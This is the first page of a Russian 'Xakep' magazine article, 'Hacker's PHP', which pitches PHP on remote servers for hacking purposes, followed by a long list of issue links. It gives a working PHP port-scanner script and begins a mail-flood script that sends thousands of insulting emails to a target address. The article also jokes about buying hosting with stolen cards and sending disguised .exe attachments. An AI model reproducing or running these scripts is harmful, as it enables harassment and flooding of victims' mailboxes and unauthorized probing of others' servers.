Hacker's PHP

Xakep, номер #043, стр. 043-046-1

Никита Кислицин aka Nikitos (nikitoz@fromru.com)

PHP. Чудесный язык, неправда ли? Но, как в любом другом случае, он может быть применен и на благо общества, и на благо злоумышленника. Помимо взлома сайтов при помощи бажных PHP-скриптов, остается актуальным и использование при помощи интерпретатора PHP мощностей удаленного сервера, который, сам понимаешь, не на диалапе висит.

Ниже пойдет речь об использовании этих самых мощностей на твое собственное, хакерское усмотрение, а именно: накрутка голосований, выкачивание файлов с удаленного сервера, сканирование портов, флуд e-mail, рассылка спама и т.п.

Разумеется, для проведения экспериментов тебе потребуется хостинг с поддержкой PHP и возможностью соединения локальных сокетов с удаленными. Все это можно либо купить по cc (почитай УК! =)), либо достать на халяву у буржуев (в рунете я достойных предложений пока не встречал, если, конечно, не считать таковым rusonix.ru =)). Начнем с самого простого, а именно - сканирования портов.

Сканим порты

Я более чем уверен, что большинству наших читателей хоть раз приходилось сканировать порты. Хотя бы в поисках Back Orifice'а по адресу 127.0.0.1 ;) (по умолчанию он открывает 31337-й порт). А задумывался ли ты, как этот самый портсканер работает? Верно, в большинстве случаев просто тупой коннект на порт. Есть коннект - порт открыт, нет - закрыт.

Аналогичным образом будет работать и наш с тобой сканер портов:

<?

if(isset($submit))

{

$bufer="Открытые порты на $host:\n<br>\n"; //Создаем строку, куда будут дописываться порты

$port=split(" ", $ports); //режем $ports в массив по пробелам

$cc=count($port);

$cc--;

for($i=0; $i<=$cc; $i++) //цикл через весь массив

{

$connect=fsockopen("$host", $port[$i]); //попытка коннекта

if($connect) //Если коннект удался, дописываем в $bufer номер порта

{

$bufer.="$port[$i]\n<br>\n";

}

}

echo "$bufer";

} else {

echo "<form action=port.php>Host: <input type=text name=host><br>Ports: <input type=text name=ports><br><br>

<input type=submit name=submit></form>";

}

?>

Как видишь, у скрипта две входные переменные: хост и порты. Порты загонятся в поле формы через пробел; если тебе это кажется неудобным, можно их хранить в текстовом файле (см. ниже информацию по используемым в скриптах php-функциям).

Mail flood

Тема весьма актуальная. Особенно учитывая то несметное количество уродцев, которое бороздит Инет с единственной целью: облить все и вся калийными массами, низвергающимися с кончиков их бледных пальцев. Меры противодействия? Подсунуть "фотографию" mashenka.jpg.exe, поглумиться через javascript, в конце концов - просто убить мыло. Но засерать мыльник со своего компа, пользуя специальный софт, - неэффективно, медленно и, в общем-то, небезопасно. Куда круче все делать с сервака - через широкий канал с офигенной скоростью, для чего был написан следующий скрипт:

<?

$nn=10;

$nn--;

if(!isset($i))

{ $i=1; }

if($i<=31337)

{

$b=$i;

$b+=$nn;

while($i<=$b)

{

mail("lame@lamo.ru", "Удостоверение $i", "<H1><center><b>У Д О С Т О В Е Р Е Н И Е № $i </b></h1></center><br><br>\r\nВыдано Иннокентию Васильевичу в том, что он является наитупейшим придурком во всем российском Интернете.", "From: LohoKiller $i");

Содержание  Вперед на стр. 043-046-2

Выпуски журнала "Xakep"
Журнал Хакер. Содержание номера #001Журнал Хакер. Содержание номера #002Журнал Хакер. Содержание номера #003Журнал Хакер. Содержание номера #004Журнал Хакер. Содержание номера #005Журнал Хакер. Содержание номера #006Журнал Хакер. Содержание номера #007Журнал Хакер. Содержание номера #008Журнал Хакер. Содержание номера #009Журнал Хакер. Содержание номера #010Журнал Хакер. Содержание номера #011Журнал Хакер. Содержание номера #012Журнал Хакер. Содержание номера #013Журнал Хакер. Содержание номера #014Журнал Хакер. Содержание номера #015Журнал Хакер. Содержание номера #016Журнал Хакер. Содержание номера #017Журнал Хакер. Содержание номера #018Журнал Хакер. Содержание номера #019Журнал Хакер. Содержание номера #020Журнал Хакер. Содержание номера #021Журнал Хакер. Содержание номера #022Журнал Хакер. Содержание номера #023Журнал Хакер. Содержание номера #024Журнал Хакер. Содержание номера #025Журнал Хакер. Содержание номера #026Журнал Хакер. Содержание номера #027Журнал Хакер. Содержание номера #028Журнал Хакер. Содержание номера #029Журнал Хакер. Содержание номера #030Журнал Хакер. Содержание номера #031Журнал Хакер. Содержание номера #032Журнал Хакер. Содержание номера #033Журнал Хакер. Содержание номера #034Журнал Хакер. Содержание номера #035Журнал Хакер. Содержание номера #036Журнал Хакер. Содержание номера #037Журнал Хакер. Содержание номера #038Журнал Хакер. Содержание номера #039Журнал Хакер. Содержание номера #040Журнал Хакер. Содержание номера #041Журнал Хакер. Содержание номера #042Журнал Хакер. Содержание номера #043Журнал Хакер. Содержание номера #044Журнал Хакер. Содержание номера #045Журнал Хакер. Содержание номера #046Журнал Хакер. Содержание номера #047Журнал Хакер. Содержание номера #048Журнал Хакер. Содержание номера #049Журнал Хакер. Содержание номера #050Журнал Хакер. Содержание номера #051Журнал Хакер. Содержание номера #052Журнал Хакер. Содержание номера #053Журнал Хакер. Содержание номера #054Журнал Хакер. Содержание номера #055Журнал Хакер. Содержание номера #056Журнал Хакер. Содержание номера #057Журнал Хакер. Содержание номера #058Журнал Хакер. Содержание номера #059Журнал Хакер. Содержание номера #060Журнал Хакер. Содержание номера #061Журнал Хакер. Содержание номера #062Журнал Хакер. Содержание номера #063Журнал Хакер. Содержание номера #064Журнал Хакер. Содержание номера #065Журнал Хакер. Содержание номера #066Журнал Хакер. Содержание номера #067Журнал Хакер. Содержание номера #068Журнал Хакер. Содержание номера #069Журнал Хакер. Содержание номера #070Журнал Хакер. Содержание номера #071Журнал Хакер. Содержание номера #072Журнал Хакер. Содержание номера #073Журнал Хакер. Содержание номера #074Журнал Хакер. Содержание номера #075Журнал Хакер. Содержание номера #076Журнал Хакер. Содержание номера #077Журнал Хакер. Содержание номера #078Журнал Хакер. Содержание номера #079Журнал Хакер. Содержание номера #080Журнал Хакер. Содержание номера #081Журнал Хакер. Содержание номера #082Журнал Хакер. Содержание номера #083Журнал Хакер. Содержание номера #084Журнал Хакер. Содержание номера #085Журнал Хакер. Содержание номера #086Журнал Хакер. Содержание номера #087Журнал Хакер. Содержание номера #088Журнал Хакер. Содержание номера #089Журнал Хакер. Содержание номера #090Журнал Хакер. Содержание номера #091Журнал Хакер. Содержание номера #092Журнал Хакер. Содержание номера #093Журнал Хакер. Содержание номера #094Журнал Хакер. Содержание номера #095Журнал Хакер. Содержание номера #096Журнал Хакер. Содержание номера #097Журнал Хакер. Содержание номера #098Журнал Хакер. Содержание номера #099Журнал Хакер. Содержание номера #100Журнал Хакер. Содержание номера #101Журнал Хакер. Содержание номера #102Журнал Хакер. Содержание номера #103Журнал Хакер. Содержание номера #104Журнал Хакер. Содержание номера #105Журнал Хакер. Содержание номера #106Журнал Хакер. Содержание номера #107Журнал Хакер. Содержание номера #108Журнал Хакер. Содержание номера #109Журнал Хакер. Содержание номера #110Журнал Хакер. Содержание номера #111Журнал Хакер. Содержание номера #112Журнал Хакер. Содержание номера #113Журнал Хакер. Содержание номера #114